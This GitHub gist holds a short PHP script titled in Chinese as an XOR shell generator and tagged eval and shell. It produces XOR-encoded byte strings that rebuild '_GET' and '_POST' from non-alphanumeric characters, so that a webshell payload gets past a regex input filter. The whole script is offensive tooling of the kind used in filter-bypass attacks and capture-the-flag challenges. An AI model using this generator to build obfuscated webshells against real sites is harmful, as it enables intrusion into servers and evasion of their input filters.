Skip to content

Instantly share code, notes, and snippets.

@mozhu1024
Created August 18, 2019 14:54
Show Gist options
  • Save mozhu1024/ed22c1ad2dc22c56f266a92635a9591c to your computer and use it in GitHub Desktop.
Save mozhu1024/ed22c1ad2dc22c56f266a92635a9591c to your computer and use it in GitHub Desktop.
[PHP 异或 shell 生成] #php #eval #shell
<?php
function gen($pl) {
$aa = "";
$bb = "";
for ($j = 0; $j < strlen($pl); $j++) {
for ($i = 0xa0; $i < 0xff; $i++) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {
$t = chr($i) ^ $pl[$j];
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {
$aa .= chr($i);
$bb .= $t;
break;
}
}
}
}
return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n");
}
echo "_GET\r\n";
echo gen("_GET");
echo "_POST\r\n";
echo gen("_POST");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment